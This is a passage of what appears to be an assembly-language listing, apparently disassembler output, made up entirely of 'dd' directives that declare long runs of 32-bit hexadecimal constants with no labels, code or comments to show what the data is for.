		dd 75EA96CBh, 0CE3B891Dh, 272BEE60h, 0D175B1BAh, 3C61141h
		dd 15DF252Ah, 582EAA2Dh, 9E0D4010h, 48F440A3h, 0ADCC22B4h
		dd 0C7BACEAAh, 11C790F5h, 5F3E3DF5h, 6F0A47CAh,	0F5B089EFh
		dd 3DD4A6ECh, 38B7D72Eh, 0D718A591h, 591BFAE8h,	93528E75h
		dd 8E29512Ah, 0B74A792Fh, 737475ADh, 618DC3E5h,	0BCDEBE87h
		dd 0F2FA1E0Eh, 957E7360h, 3D11EAC7h, 0C63C6161h, 8A8F4652h
		dd 9921C7CAh, 36274D33h, 32881ADAh, 0D63FD412h,	3AA98F30h
		dd 8F48D85Ah, 0BA69F4AAh, 0AA81CAA1h, 0A445CB5Ah, 13C52318h
		dd 85C51358h, 5516A8E3h, 0B72EA8B3h, 5EC6F975h,	0E3CE330Ch
		dd 0B74347B5h, 75ED985h, 8B52E3ADh, 1D94D81h, 97AB9503h
		dd 0E1E52C9Bh, 9740DD97h, 7B9B1C99h, 9334998h, 0FB53231Ch
		dd 6C9606D4h, 53CE5751h, 753A82CFh, 0ECC66A26h,	846E9A02h
		dd 6BD11A96h, 8EA5BD46h, 0F17006E1h, 0F91AD23h,	35D7C1E4h
		dd 70DFE3CBh, 7598B1F3h, 0E4426E9Ch, 0FD5C0503h, 4B73E870h
		dd 0BDCAC193h, 0B57D6831h, 3AB5DF2Ch, 508F4B15h, 33EF0195h
		dd 7593DE3Dh, 0C77F8E45h, 44C791A9h, 511C20C3h,	6C587D34h
		dd 0EFABAFC6h, 6EF7AA7Bh, 0C179F506h, 44D9AF6Bh, 7C8F6F5Ch
		dd 288C7C1Ch, 2DF944C2h
		dd 0AA1DD97Ch, 0BDBB00BBh, 6DDA7C54h, 0B0AF36B4h, 3A9B8340h
		dd 0E700F957h, 7E8A7D74h, 1F70C1EFh, 4AFC5497h,	0E71CB658h
		dd 2D484F33h, 11BCB521h, 0C69B6E0h, 48C84CB7h, 356BD679h
		dd 92DAEBF2h, 0E9A677A3h, 6E41B58Ah, 0B063FF75h, 0EB3AD3C1h
		dd 0A6BED2DEh, 77498A52h, 6F6B4CD4h, 0ECB01590h, 625F11C9h
		dd 0EA1900C1h, 12C9B776h, 0B1458355h, 0E6C43E41h, 0B775670Fh
		dd 0B76443DCh, 1ADECFF4h, 6AB91879h, 0A99E9197h, 0E1E9945Ch
		dd 0D461B70Ch, 79012875h, 80D5BEA7h, 0A06ADA53h, 0D3B27522h
		dd 38A44263h, 4F458E30h, 2061A18Bh, 0E6DDAEF3h,	0A245397Bh
		dd 0FA9ECBABh, 0CE263AD7h, 775E7694h, 46E44260h, 3CC84DD8h
		dd 0E702BCE7h, 6548D3FDh, 7BF47717h, 7EADF248h,	0A3D24FEBh
		dd 33AD0B2Fh, 54022A25h, 2A6E935Fh, 6A79C73Eh, 89993AD7h
		dd 53CC5984h, 2D876D4h,	0E82D9EAAh, 463F51B9h, 7B25B272h
		dd 160583ACh, 0DF04A81Dh, 0FB0D0201h, 0F0049457h, 577DB5C9h
		dd 0A8E68EEFh, 0A3D1516Eh, 5E4C57A3h, 710F5A0Fh, 936FBE0h
		dd 0C01EE667h, 0AE58305h, 0DAE5312Ch, 613DC59Fh, 21ED518Eh
		dd 805CFDA1h, 0C316CCEFh, 0AEB56CF8h, 3D99973Fh, 0FBB78B77h
		dd 37C11CA4h, 0D46BAE71h, 1B33788Eh, 1915B307h,	54B03DD2h
		dd 60801A82h, 8686BDD5h, 0D02820D0h, 0DBDB326Eh, 1A711302h
		dd 8E3918BEh, 0A6C1A466h, 3E584C5Dh, 76330741h,	0BE79CBFCh
		dd 0F861DCCBh, 7768BCA4h, 6399FAA8h, 2477A34Ch,	0DADE63FAh
		dd 0A0CAFDEDh, 4EED1ECh, 0A63F0C9Bh, 1D8C1309h,	8B0925E6h
		dd 5CC57A2h, 0E16D08DCh, 0F24E6AC5h, 9AC37C68h,	0F22167B9h
		dd 0C3122417h, 7CEF50C1h, 0A53DB557h, 32A07C26h, 0AD85F980h
		dd 315A1F8Fh, 0A5BBDA80h, 5D90E04Fh, 0A38FA1BCh, 438EBF0Ch
		dd 0B4C7AC6Ch, 0FF0143D1h, 0AACDD5A2h, 0F7D250B1h, 36DF243Eh
		dd 99F48FD9h, 0B013B36Bh, 0B893ADADh, 0F66DE8C0h, 5318AE12h
		dd 0FF5C52A0h, 9355D132h, 7EFFAA1Bh, 2F39676Dh,	9D01C460h
		dd 65BF5185h, 67252BBh,	0A5AAAD53h, 0C0CEB3B9h,	88A18C36h
		dd 77DBF873h, 0D63651B2h, 0CBB83896h, 0F0FF88BBh, 65515CF5h
		dd 51990F38h, 41E5964Fh, 6F8A596Ch, 361F6DE4h, 0D091AA80h
		dd 4C234663h, 4E4F02A4h, 63E3E07Dh, 74217B34h, 355352D8h
		dd 9499139Eh, 7080E55Eh, 9B095C2Dh, 0DA8BA078h,	188E6780h
		dd 24C2CB18h, 6F87278Bh, 529BBD07h, 64F2CD88h, 43AB8FB5h
		dd 8F87FFF1h, 0FC0DEDA8h, 0CC1AC90Bh, 0FAA675Dh, 7971DEACh
		dd 0DC414060h, 13AB2F9Dh, 7CF99214h, 769BE377h,	86EBE9EDh
		dd 0FFD36E8Dh, 0A9F48DC1h, 4F4EABCFh, 5D334B64h, 7C34E971h
		dd 8F1A95F2h, 0CB422938h, 0ECAF0B0Ch, 0F33A103Ch, 755BC798h
		dd 549CFDEDh, 44ABABD4h, 1A81E8A7h, 417CBBFFh, 562E2332h
		dd 25EEB045h, 8BF9CDD2h, 0EDFA7612h, 683E3Ah, 1238898Ch
		dd 0D2C86D53h, 0DCEDE42Ch, 0E21F4423h, 7A1D8993h, 3ECE2CDCh
		dd 3BB168DEh, 0AEE6FCE1h, 0CE1C6DECh, 0BE29869Fh, 0C8B53780h
		dd 0F143E084h, 0C2659D39h, 0C3FC2ABBh, 2220848Ah, 4AAC6051h
		dd 3A82A816h, 5C187F29h, 6D5DD6B7h, 9BDC0FF3h, 5B088DF7h
		dd 2AFC1918h, 4EB38E03h, 84987E35h, 7728279Bh, 6B49DCCh
		dd 1C3DE7B6h, 8D3CDB68h, 0AB401571h, 771BAC19h,	523C9C53h
		dd 7FBEFC19h, 40168FB8h, 5A9032F7h, 0BBB47D45h,	0E12F39A0h
		dd 10D6C8ECh, 9571FA19h, 0FFBCD341h, 5BCD76C9h,	5E14B1CDh
		dd 9778E525h, 0DB7A97C1h, 0B4EB28AFh, 0B19C3761h, 0E5A74458h
		dd 3B8A56ACh, 0E3C8D4BEh, 0FBC3EDFAh, 0EB6C7524h, 61CAE32Ah
		dd 7F8E76DDh, 84F022E1h, 5D91E86Ch, 0E3BBC61Dh,	0F6E0D185h
		dd 0D151691Fh, 3507A60Ah, 0E4CE8588h, 3AB540FEh, 0D9170FF2h
		dd 3CD41BDFh, 74CAFF0Fh, 5C138998h, 8A18582Bh, 96AB97Ah
		dd 5B6146F3h, 18C0EC5Bh, 88817B14h, 950923E2h, 4FB88BA8h
		dd 0DE5FE5DCh, 0AC9FAC2Eh, 0EB69E4DBh, 0CEFA2E32h, 0EF9EED8Bh
		dd 0B5480725h, 0DF9A8B71h, 8CB950D5h, 32D06EB2h, 3C9C6EE4h
		dd 910EBA61h, 6994450h,	1AED11AFh, 0C3F6A8AEh, 0B3928D65h
		dd 0FF1012B6h, 4CD4C4ECh, 96E73E75h, 7EF38DFEh,	6AC6234Bh
		dd 0C72822BEh, 268BD83Dh, 6ACB4768h, 24093D43h,	0CEC45EC0h
		dd 21369A17h, 65462C65h, 13BF51C6h, 3C1ACA78h, 82C5C1DFh
		dd 96EE1F40h, 97C72B71h, 92878A46h, 9B062C6Fh, 8E8B8B9h
		dd 1E73BF96h, 0D8DA91F4h, 0EBCD1050h, 0C8E16047h, 7A32F40Bh
		dd 451C1183h, 7A53FC70h, 3198D12Dh, 60F33FFBh, 0AC220A99h
		dd 1A383531h, 42590BCEh, 0E1FDE70Ch, 0FBDEE9ACh, 0ECF3A3Eh
		dd 9FB8B905h, 6890661Ch, 0A1F02740h, 500C8B96h,	2F9731D0h
		dd 18437FB7h, 0A83D4584h, 0ABE6439Ch, 0BB828195h, 8C1EA5A4h
		dd 0E8640DADh, 92E8BC96h, 0AEE1B355h, 1B085F7Eh, 0A396E9EEh
		dd 9C35E8BDh, 0A94245EEh, 0FE4CFC37h, 646EDF9Eh, 86005AF3h
		dd 29A16CF9h, 0A8989CC0h, 0F6A116E0h, 83F54B66h, 0A278AFCDh
		dd 0BDC65040h, 2A3D2F5Ah, 4DA7061Eh, 7F8ECAC3h,	0E751BE89h
		dd 91162825h, 2BDA705h,	4981EA9Bh, 4D490381h, 0C02EFB61h
		dd 69131165h, 116162C6h, 0C4BECAA0h, 0B5712958h, 66C82EDBh
		dd 8C787A81h, 0E926236Ch, 63EEFE6Fh, 5609CA41h,	828AA079h
		dd 53A9C9FDh, 57262076h, 297417Fh, 63CE9FEEh, 976D9DB3h
		dd 421E61B3h, 487C02BCh, 65356A6Fh, 0A53701D1h,	77C4DAF4h
		dd 9E5DD298h, 0BD4F330Fh, 42BB5D31h, 0F1797247h, 69A9F625h
		dd 7686E7Eh, 431ECBC8h,	0BADFA334h, 0BA781BBBh,	0AE3D5270h
		dd 14EDEBE1h, 966BC91h,	0B0FC00Dh, 0C2ECF23Ch, 4DB3629Eh
		dd 65A3214Fh, 0DADD72B4h, 0E3703FF6h, 270BCCEAh, 0C4D84FA7h
		dd 9AA91B0Ch, 0A71647DEh, 16A080C5h, 9A3E691Ah,	8073CCA0h
		dd 0C607CF91h, 6C178EA2h, 25F6AC61h, 0B07D2360h, 212337C2h
		dd 0EB1A773Fh, 0BD8C8E45h, 0BECF5452h, 0FF02B849h, 5058AD77h
		dd 76BFCB16h, 83335B39h, 4DADBF0Fh, 503B50AEh, 6BF42870h
		dd 5A496516h, 809DBD62h, 5547F4C3h, 0B7771650h,	0ADCBD686h
		dd 8E517193h, 47DD24BFh, 0C1ABBF3Ch, 0B8320A7Fh, 0B35B2EE1h
		dd 4B8139D3h, 7FF5CFC4h, 7E91C162h, 88CE864h, 1B02979Bh
		dd 11D9545Bh, 99AD22BCh, 729D9E77h, 7F6D2B08h, 5EB3FF23h
		dd 0B36A42CBh, 35F5339Ch, 0A752D623h, 0F314010Eh, 0B664661Ch
		dd 0AAD2386Fh, 8E87EC8Fh, 4C236EDBh, 80D812D1h,	28D15961h
		dd 47068041h, 64D220F9h, 0F7E4720Bh, 238F280Ah,	0D2E05C6Eh
		dd 8A7D2665h, 4130B09Ch, 2447E88Dh, 70656C7Eh, 0C6A30572h
		dd 8E7B0E7Eh, 0E0840DDBh, 0A1DC213Fh, 2DE2FB67h, 0EA82C4C1h
		dd 677411E5h, 69FEE374h, 63C8FC53h, 0BC4B04E1h,	8A24CCDAh
		dd 17324166h, 0AE1A863Dh, 5E8FAF66h, 590219EFh,	5BCAB032h
		dd 7360A1C6h, 2CACCAEBh, 0BA2AE905h, 0BCAF3728h, 0D60C1699h
		dd 8E32787Eh, 69D395B4h, 5E8C57CBh, 0F971CEB2h,	0F3230D6Bh
		dd 2B06EF59h, 4F86668Ch, 2C7A01C5h, 0D91CF914h,	0CFD469F4h
		dd 219C8A92h, 98725A54h, 494DADD4h, 0A0C5F95Dh,	0B25C360Eh
		dd 5540A69Ah, 12C9B703h, 23F29C26h, 0BCA9ACAFh,	609156ACh
		dd 5047B9F8h, 0AA5A1BE2h, 757DFE03h, 61E91467h,	4D55B2D1h
		dd 4492E1BEh, 0C3040201h, 0B1CECC21h, 7C1D384Dh, 0ED3A348h
		dd 0A6CFE5E0h, 0A197AA8Ah, 707FC8CEh, 2CB03B25h, 0F6B806F7h
		dd 0DE761CDFh, 0B9D0AE2h
		dd 0B4C2F3B5h, 1385CFE2h, 0A486EF73h, 197A6C21h, 0ACA3F421h
		dd 1E45DD1h, 91909077h,	68A6DEF8h, 0CE7A7BDBh, 0BEAA1413h
		dd 63A874B3h, 0DAA5EC32h, 7BBC7555h, 4FB92F98h,	20652645h
		dd 4F41DF3Dh, 512D2637h, 48E7E3Eh, 0EFF4BCAh, 8397BE95h
		dd 8FF1ACFAh, 887D8F1Eh, 923D3030h, 9C56150h, 0EED97BCh
		dd 3AB94939h, 0BFCAF65h, 471704A6h, 110DF060h, 0D2B9C627h
		dd 0A0C828B9h, 0D48B4F4Bh, 0E11A6876h, 677EB829h, 0FF459A11h
		dd 0DEC80AEh, 0E2FEDB44h, 862E0D53h, 4B7E2B98h,	0C4347AB4h
		dd 558A3ACDh, 0F6E3032Eh, 28F95489h, 59507088h,	7961282Ah
		dd 0C70A0B2Ah, 5FBC52F7h, 6E8C7ECh, 9CE8CCB9h, 48371AE7h
		dd 0B79F7C8Eh, 48A77FBBh, 823082FFh, 18E676FBh,	6C5FF6D7h
		dd 7A509B5Bh, 0FB484343h, 9F7A7483h, 0A7E51266h, 863659B3h
		dd 69C10625h, 0B6FFC0B3h, 6C8C4CD6h, 0A32ADE8Ah, 2381FD22h
		dd 0C0D43B2h, 0D2AAC9BBh, 62B0DE0h, 759530B2h, 0ECA777A1h
		dd 5C340FB8h, 0DA207E00h, 46981066h, 0B3FB6313h, 55BDE9F7h
		dd 6911FE08h, 0B07F78CFh, 0EDC97114h, 8D4E561Ch, 0B341B26Eh
		dd 0AD52A253h, 0B4F7A08Eh, 631DCB12h, 86012C66h, 3FE1BCC9h
		dd 0C6E7DCE4h, 1618A227h, 750D15AEh, 0A31764A4h, 0FAE9B6AEh
		dd 0B8D0189Dh, 1E6779A5h, 7F397FEFh, 0C035A96Dh, 1A2AB25Ah
		dd 52AE981Eh, 486DAD7Eh, 4B5B93F2h, 8E63B573h, 0B1D07883h
		dd 0C3F20CAAh, 7131B2D2h, 0F05E1D03h, 0A87A3EC9h, 605DDB8Fh
		dd 470946E5h, 0E4568F59h, 63AFD3E3h, 0ABCEE1C9h, 1F43D262h
		dd 543BA80Bh, 0DE87D8AFh, 0F8AF372Ch, 24D552FDh, 0C26B2674h
		dd 712E6305h, 1AC5630Bh, 5BCA0A65h, 0C0511848h,	863C7AB5h
		dd 12A67F0Eh, 0BFCA2496h, 0A78CBB57h, 0F1B89A64h, 32145CA1h
		dd 1417C304h, 326D021Ch, 0A2D2C168h, 9FE5F050h,	158FAA1h
		dd 93A430F1h, 999F7791h, 9817B0D7h, 417096Dh, 7C39CC4Ch
		dd 6CA47C40h, 8C73A7CFh, 50463D39h, 3F736C0Eh, 0ED181247h
		dd 929000Fh, 5BD1E24Bh,	862B8DA0h, 1D514750h, 9A445EBEh
		dd 60C24F95h, 0E921C18Fh, 3244E0D3h, 0C214BAE2h, 737A36Eh
		dd 66A40556h, 8DFC47DEh, 840F1D48h, 6EF0E262h, 10D13729h
		dd 9B66AF77h, 1A75D659h, 0DFBAB18Eh, 1EE627A4h,	0F828598Bh
		dd 3F9563ABh, 39E31385h, 0C16B6A61h, 62DD80Bh, 0C8D1EFBAh
		dd 5C5F502Ch, 1B39366Ah, 0AB3F2159h, 0C5D68C9Dh, 0D2ACF0B5h
		dd 78BD4CDh, 1055AE17h,	9614D636h, 8C5C4C37h, 1B39EA8Ah
		dd 0E4E0836Eh, 9EB0B9A8h, 1CAAD034h, 0DBCE840Fh, 55164EA9h
		dd 2E66427Fh, 0F685A73Dh, 0C3B5362Bh, 0CABC7AA4h, 1ECD37ACh
		dd 6AFB1BBBh, 0D7FA37CBh, 40E972F7h, 46A481Ah, 85F76655h
		dd 0AF596273h, 0C56B468Bh, 9C09ED68h, 1E23FDE4h, 0AC5366FDh
		dd 97AEE9D7h, 4A44949Fh, 0DFB1ED9Ch, 688C496Fh,	0E0ACB243h
		dd 0CCB17DADh, 64760686h, 0D6182AAAh, 0BADA57F1h, 8D6FE058h
		dd 27E9DEBFh, 0E999DB41h, 0FDF2AEF5h, 2CB00CFCh, 54599CC3h
		dd 55488EE6h, 0DA112667h, 9FB8BEDCh, 0B1B7580Ah, 4E9C8A9Ah
		dd 13E8E550h, 9DA09303h, 83640Fh, 0EAF8EB9Ah, 9DA8837Bh
		dd 37D3A6AAh, 73319FB3h, 0EA08170Ch, 65B4C32Bh,	4C6AA16Dh
		dd 0C534B6E5h, 9217BB4Fh, 0D86887CEh, 48301EDh,	335CF22Bh
		dd 4C1920Fh, 5DB6F68h, 71E80B3Ch, 13A3E8A8h, 282F71A7h
		dd 0AD87680Ch, 0ECC8C8EDh, 94B0CB99h, 21B8F63Bh, 223BF1Ah
		dd 0CEF20473h, 0EA99B1DEh, 430A7CC5h, 0DDF2F76Eh, 5DA8E377h
		dd 26A2FE0Bh, 0CF73DA34h, 80055F93h, 321592FFh,	0FFB882BDh
		dd 9DF66930h, 0C965F925h, 0DA40015Eh, 0D34EA6B1h, 0DBCEEF7Ah
		dd 0FA84EBAEh, 0B1AEFC33h, 0DC731149h, 0A2C8AAD3h, 0C62DAE26h
		dd 5BD4E4C2h, 0B3949B43h, 23216640h, 0B9849867h, 6FCCBC52h
		dd 99431115h, 3ED6373h,	0F0F38FCEh, 0A06699B9h,	9061876Bh
		dd 0AA630126h, 45FE6AE8h, 0ED32E33h, 6695B336h,	0A675A0B5h
		dd 0E7A3AF06h, 3D47E9B1h, 7293E853h, 463EC374h,	913B045Eh
		dd 0DD2E9A11h, 82640247h, 0A165D688h, 6E5F3348h, 0E83AD0A2h
		dd 6BD140E1h, 9F64382Ah, 4F2339B0h, 1041732Bh, 7393DF1Eh
		dd 0ED8ACC41h, 8415769Ah, 0B68749B1h, 251D899h,	0AB8064B0h
		dd 43C8CF3h, 3EEACB18h,	70DC06F4h, 30F77D2Fh, 0D9AF054Bh
		dd 0CC812237h, 0A994D6B1h, 0EE1947E0h, 0BC70F0CBh, 0FA626A57h
		dd 0E3AC09FCh, 0CB0FEA38h, 5A817160h, 48067282h, 808826Fh
		dd 0F5BB4C08h, 0BC7A7E60h, 474C8EA0h, 10BB392Fh, 60232C95h
		dd 0E2315B95h, 0AB95B0F1h, 308D9349h, 0FDD6A100h, 0A5AE2A5Dh
		dd 3D3ABD9Fh, 0C79FEB75h, 0A0A16013h, 1A57FD70h, 12BD012h
		dd 4D9FBD9Dh, 1E5071B7h, 6A771D73h, 2DA026Dh, 6B881D8Ch
		dd 49A1E131h, 0DBB4A610h, 213C4CAAh, 0BCA6B16h,	0A6353A3Bh
		dd 70AB78CAh, 4A3D4713h, 9678FC5Ch, 0F16EF0C2h,	747B114Bh
		dd 5E4975DCh, 0AE4B0357h, 1042689Ch, 800E0A3Ch,	563C3CEFh
		dd 0D4AA2C7Fh, 0BFA7F2A6h, 626526DAh, 276945A7h, 5E826C1h
		dd 0A9B2D2C6h, 46537503h, 0F9B69547h, 87AC25FCh, 84254BB8h
		dd 46A9D27Dh, 75DC36Fh,	0B3E76E07h, 66AC8C93h, 687B60F6h
		dd 6906029h, 8D82B98Eh,	9371BC05h, 0B764C15Dh, 43FC9C35h
		dd 9EB40A42h, 7923FDD1h, 293159F2h, 0C4826C13h,	21EBA1C9h
		dd 0E781A5Fh, 2DD9CB0Ch, 4EC261BBh, 0C00A7938h,	6453A8B5h
		dd 41BAC04Bh, 0D07258CAh, 2F99E2E8h, 0C8883DFFh, 0DA10BFF1h
		dd 3BCA2262h, 97C3DB0Bh, 0C89CFC16h, 9338936Ah,	0B588EF73h
		dd 0DC6283C7h, 0B0BF69Bh, 1EB5F9FCh, 2C963576h,	2F009379h
		dd 47F77131h, 8B2A5181h, 70C572D6h, 0F0DE34Ah, 87EA60B5h
		dd 76ABDB36h, 52073882h, 0BC35FF40h, 78AB6575h,	0C6FEF812h
		dd 0DD503DA7h, 390B56E4h, 90412D4Ch, 2E204370h,	4B8E1278h
		dd 7FAC9F46h, 3D6287FDh, 0D3742C40h, 2932F80h, 20AA46E8h
		dd 0C5FB4E5Ah, 0A15C89C3h, 0FE25CF99h, 823DB742h, 841D774Ah
		dd 8FA483DCh, 9A7CE45Ch, 92E799CAh, 906E2DF0h, 7DEC9D0Fh
		dd 0FBEF9643h, 0AFBA41EEh, 22014460h, 4B7C2513h, 0D36D67CEh
		dd 0F9724DC2h, 25C5502Ch, 0ACBC01DCh, 8CAC774Fh, 0B98CD598h
		dd 7937EC06h, 0DD506FA4h, 0E285DC90h, 31BA5E83h, 891C314Bh
		dd 39E65B94h, 304F6BE7h, 147EF9FBh, 0F54DCF78h,	817B7DDFh
		dd 0DBB3F633h, 3C38687Eh, 0FEECE41h, 807B190Ch,	6B60A2ECh
		dd 71FE37DDh, 9575558Dh, 0FDFDCA26h, 3D4B5ACAh,	57F128FFh
		dd 3339F378h, 751CA85Ch, 0E05624A7h, 0DF2288E3h, 164286CDh
		dd 25C25BBBh, 77C04F3Ah, 3DE2529Fh, 769B1A19h, 68F6B141h
		dd 0F4C27F4Eh, 4A7B6E7Bh, 41055C71h, 0BE6FED8Ah, 5A3C01D5h
		dd 0F0DB6972h, 59881524h, 0ACDD9D4Dh, 0DB8716F6h, 9C004D38h
		dd 0B3714CA2h, 5D056CFFh, 0BBD30BE5h, 0FA1D5568h, 5BA2344Ah
		dd 15F7F8B9h, 0D67CC4BEh, 4C9BD25Bh, 97615107h,	9AAFB1E1h
		dd 5FD6A17h, 543A3CA5h,	7796A4FEh, 8D9A35A0h, 8933C99Ch
		dd 0A03F2B40h, 2C00874Bh, 1F1609EEh, 0D37B1D4Dh, 0E319548Ah
		dd 8106CB38h, 646CA86h,	0A50AECDFh, 0EA943C67h,	8A303BFh
		dd 3D8559F0h, 50513F63h, 0B63AABFEh, 1403F3F6h,	0E9C1ADCFh
		dd 3B9494F2h, 0A92286BAh, 37262ACEh, 0E0A8854Fh, 0CA4FC701h
		dd 9D1980C0h, 2FC29E58h, 42ABE013h, 110B1E48h, 0FA35CE42h
		dd 17915FCBh, 0F27C7DF6h
		dd 2DCE15C5h, 65335265h, 0CF09CE13h, 8C42F376h,	0BC9EECACh
		dd 1C009C85h, 0E5C2D98Ah, 10205DA4h, 73E21A8h, 0FB1EED83h
		dd 0CFEE581Ch, 0C690849Fh, 30A1A521h, 0B52D9A98h, 0F43DB794h
		dd 0D1A58FADh, 0D85A4D1Ah, 48C96C19h, 0C7B04D64h, 67476B3Ah
		dd 0E205BC88h, 0D4C2A391h, 90CB52EBh, 731539D3h, 160F1626h
		dd 5D4A2326h, 4052A83Dh, 0B41E2DC8h, 0D6CF0684h, 0B217B6BEh
		dd 6D8D7A93h, 14DC1D92h, 87EAF3FAh, 49D2D5CDh, 0A9581024h
		dd 0C81BFE62h, 454B7A9h, 0E1A85A8Eh, 0D6672627h, 3937D21h
		dd 569F7EAEh, 0C8FBD78h, 8411729h, 7A01D3DBh, 0E58655F7h
		dd 49F99CF4h, 0CA6C225Bh, 3947F123h, 943D1D8Ch,	0CC0A1200h
		dd 33A48CA9h, 39C2FF53h, 0FA512007h, 0E847500Fh, 64B85E97h
		dd 5A7CEB00h, 143C86D8h, 0E44FE4EDh, 0D6BEAF8Ah, 861061A0h
		dd 55972992h, 0E169D5A0h, 0A80806B1h, 0EF70A7C5h, 0EFF1BFC1h
		dd 82B11A71h, 0C9B74141h, 0F9A04D3Fh, 9F561A0Dh, 0FF21D95Ch
		dd 64E6EF9Bh, 0EEC6C81Dh, 0E93251ACh, 0E4CA6FF8h, 3746F580h
		dd 21AAE238h, 9494C1AEh, 2652C021h, 0E8D47A1Fh,	525C2DE0h
		dd 0DF7FA7C7h, 0E4904C82h, 4B28F89Ch, 3D6D3D41h, 71AAF612h
		dd 0BA6CDE6Eh, 95F39706h, 4FCFCDADh, 4D430D24h,	9BD9D665h
		dd 7544CB7Eh, 0B7E510B3h, 2A5983ACh, 0F3BB0C6Fh, 0C33DE7DBh
		dd 0A8912379h, 0F41B153Ch, 0DC3947D6h, 400337Ah, 5538291h
		dd 0ABFC44A3h, 83E68210h, 7AC590A8h, 5C49BC58h,	0E989B17Bh
		dd 8442B70h, 525AF303h,	5546C2ECh, 2A35AEB1h, 8B181DF6h
		dd 59B5540Ah, 8BC664A6h, 72E25073h, 672A7534h, 43FFFEFFh
		dd 0E445A6E8h, 52CF2DB1h, 0E02084F9h, 20FA6C4Dh, 1D4A91h
		dd 0B005441Ah, 0D1B488A0h, 0C92F92EEh, 3E114756h, 69EDF50Ah
		dd 0E2A74809h, 8163C3DBh, 0C48C39C0h, 0BDFD4D64h, 231FC846h
		dd 440C936Ah, 8E13BEC4h, 0CD75A73Bh, 0F7AAAE14h, 530E849Bh
		dd 6CE5593Fh, 24910EC2h, 0D2882866h, 31408749h,	9531801Ch
		dd 6F587574h, 6947393Fh, 906CB5D1h, 835DA80h, 0D601044Ch
		dd 47E772F8h, 95AA75F8h, 0CD6626ACh, 16C6F300h,	39592C3Bh
		dd 7B6D4D54h, 87CC9510h, 6C47F5B2h, 1CFFB9EAh, 493E9F92h
		dd 47E86D50h, 0FACD5149h, 0F381615Ah, 53B17E4Ch, 4647BC8Ch
		dd 59C4A731h, 0EEF833AAh, 2B255396h, 5654E6DCh,	2036ECA4h
		dd 57F3FD22h, 47B78EDCh, 2C2291EFh, 89807EC3h, 955D2F23h
		dd 1DFB37F5h, 6E284EABh, 0DD7B61C0h, 0DD48495h,	220E33AAh
		dd 79BB9F19h, 6B12DE0Ch, 7C041764h, 0A60FA073h,	9ED6A7E1h
		dd 0B26AB193h, 579E5551h, 0BA12BA85h, 98471EF4h, 962D61DAh
		dd 0B94F45EFh, 73D60F40h, 0D5173F62h, 5A90F467h, 0C9468ED8h
		dd 3868795Bh, 85F611B1h, 6DB8E720h, 44AB55DEh, 545E04A2h
		dd 9F770FEh, 0A2C43C42h, 1847D75Eh, 50666765h, 0F602C4Fh
		dd 0CAFB768Dh, 6B4B9F66h, 0D490BBD2h, 9B5D1ABFh, 0E1FEB482h
		dd 37D15372h, 9E20F0A2h, 0CB37FFD2h, 96F14D78h,	99D5DA9Ah
		dd 3766C8B5h, 619EC44Dh, 0AF930C26h, 0C0CD0DC1h, 69CF55Bh
		dd 106A396Dh, 0C7CB90FDh, 3E69E5DDh, 8484BBA3h,	0DD087097h
		dd 0F012A0A9h, 13A376E7h, 0CA3AA8Dh, 0C3625168h, 5426F3B6h
		dd 2F7FDAC5h, 0D332889Eh, 2927FA54h, 0C2131B1Dh, 2DD4AC57h
		dd 7A6C48A9h, 9721058Bh, 43CC31E3h, 27F36C80h, 0A71BCC61h
		dd 66C915CFh, 6D050C5Dh, 549114B1h, 749447DFh, 622D2F8Ch
		dd 6DFCF295h, 56A0F2B3h, 5FAA623Fh, 0AAD1667Dh,	0DDDE5761h
		dd 0CC96DD19h, 8A392799h, 0E596B589h, 428AF096h, 72D966E2h
		dd 7AD7ED74h, 6A2D7FDDh, 9D0F727Ch, 532D8ED5h, 0E101BB08h
		dd 92648FBh, 8FA925C7h,	1AD8109Dh, 0AFBD5E8Ah, 4D47FB9Ch
		dd 0D7AC97B9h, 804FC60h, 0BD7866EDh, 0DB6007D2h, 452F8FA0h
		dd 720067AAh, 0D2B4376Ah, 0A77E68B6h, 0F947EC9Ch, 5A434823h
		dd 0E0CC52A2h, 4241CB04h, 742093C5h, 0D3800FE2h, 8B8FE34Ah
		dd 8C1B5C9Ch, 2D390B8Dh, 9F58DD79h, 0C3130F08h,	1D7DB2EEh
		dd 0A0E4A0EEh, 1D84FBC6h, 614CA342h, 0B2F952C7h, 0EB1B58ADh
		dd 0D3CBD470h, 7D6EA114h, 6C9BE47Ah, 0A4871794h, 3765116Ah
		dd 2F0C2E31h, 39836A33h, 36FBD6C4h, 0C6B129E8h,	43D2AB07h
		dd 828130B1h, 1D243DB1h, 360B92B9h, 0BF42507Dh,	0A9D2F6F2h
		dd 0EC732990h, 0AE84646Fh, 1D32BC13h, 85933B5h,	0E36F17FBh
		dd 73CC85F0h, 0B9046891h, 36B07061h, 0AE5DA41Fh, 5FAA5163h
		dd 0C2A85B95h, 0E170D0A9h, 4803686Ah, 3DDA3C48h, 0AE70DFE4h
		dd 934A298Eh, 3AF3EA4Fh, 3495FF93h, 9F5B0EBBh, 6D77A703h
		dd 8F03797h, 9B8D3FAFh,	1E9B400h, 5D5EDBBDh, 0A3578CE8h
		dd 7F183117h, 71CF0D0Dh, 0B4B230A3h, 0D1979622h, 80BCC43Bh
		dd 47CEE886h, 6BF15861h, 38B8C43h, 1CD268B2h, 0D4E02431h
		dd 6AD9740Ah, 0E02BD369h, 29E997D7h, 0AB6E92B5h, 198C12DDh
		dd 3276619Fh, 517736D3h, 82E45441h, 688DCDB4h, 0CB4F5765h
		dd 4BB6C0A5h, 0D96121E5h, 0FD4988F8h, 907A1B15h, 4B7FF486h
		dd 0CBBAAF20h, 0E88CFB38h, 6D320659h, 0BACA71ACh, 0EDBBE87h
		dd 0D09CE5FBh, 7C81AD5Fh, 57468722h, 0BBBB9F30h, 71BBB086h
		dd 53E70435h, 4471FDFBh, 4B95C63Fh, 0AB9179CFh,	0FE030736h
		dd 0D19F9437h, 8EDE95BDh, 98C47C3Dh, 7BF0E34Dh,	90A09008h
		dd 828F574Fh, 418CF5BAh, 0A815459h, 82D618F6h, 67B7B263h
		dd 0B3E114F7h, 0A732B00Ah, 5030A863h, 8A61D80Ah, 0A9050BCEh
		dd 0E30011E2h, 751A3978h, 0E5C20F26h, 34D75F2Ch, 0CF845F99h
		dd 9A78B1E2h, 8DAB1704h, 53C8375Eh, 0CE4DCD0h, 20C1253Bh
		dd 891C65D6h, 9EB4F206h, 21E5E1E5h, 0AFC9E7D6h,	302A44EEh
		dd 0F3EE16C9h, 0F6F9D66Ah, 59ACC367h, 0ACA06AD7h, 7D5A46Ch
		dd 3465B32Bh, 509B6AD6h, 0D6E6D536h, 0D6B2EE66h, 64315D95h
